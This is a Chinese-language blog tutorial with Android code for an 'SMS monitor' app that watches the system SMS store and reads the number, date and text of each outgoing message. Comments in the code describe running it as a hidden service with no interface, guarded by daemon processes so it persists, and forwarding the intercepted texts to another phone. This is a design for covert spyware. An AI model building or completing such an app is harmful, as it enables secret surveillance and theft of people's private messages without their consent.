一。权限:
1 2 3 4 5 6 7 8 9 |
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.cuiweiyou.smsmonitor" android:versionCode="1" android:versionName="1.0" > <uses-permission android:name="android.permission.READ_SMS"/> |
二。主程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
/** 入口Activity **/ public class MainActivity extends ActionBarActivity { /** * 此短信监听器应该作为一个服务进行安装,去除界面,看不到。 * 然后做一个进程,守护此服务进程 * 并将此服务进程本身作为守护进程的守护进程 **/ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 解析器 ContentResolver resolver = getContentResolver(); // 注册一个内容监听器( 参数1:被监听的目标-总机号;参数2:是否监听分机号;参数3:监听器-内容观察者(目前传入空的handler)) // 一旦目标发生变化,就会被监听器发现 resolver.registerContentObserver(Uri.parse("content://sms/"), true, new MyContentObserver(new Handler())); } /** * 自定义的监听器 * @author Administrator */ class MyContentObserver extends ContentObserver{ public MyContentObserver(Handler handler) { super(handler); } /** 目标发生改变时,回调 **/ @Override public void onChange(boolean selfChange) { Uri uri = Uri.parse("content://sms/outbox"); // 发件箱的uri // 查询发件箱的内容 Cursor cursor = getContentResolver().query(uri, new String[]{"address", "date", "body"}, null, null, null); if(cursor != null && cursor.getCount() > 0) { String address; long date; String body; while(cursor.moveToNext()) { address = cursor.getString(0); date = cursor.getLong(1); body = cursor.getString(2); System.out.println("号码: " + address + ", 日期: " + date + ", 内容: " + body); /** * 然后,可以发送截获的短信内容到指定手机 * 1.使用SmsManager.sendTextMessage("收件人号码", null, "信息内容", null, null);需要SEND_SMS权限 * 2.使用getContentResolver.insert(uri, values);需要READ_SMS、WRITE_SMS权限 */ } cursor.close(); } } } } |
三。系统短信的内容提供者:
声明
本文由崔维友 威格灵 cuiweiyou vigiles cuiweiyou 原创,转载请注明出处:http://www.gaohaiyan.com/144.html
承接App定制、企业web站点、办公系统软件 设计开发,外包项目,毕设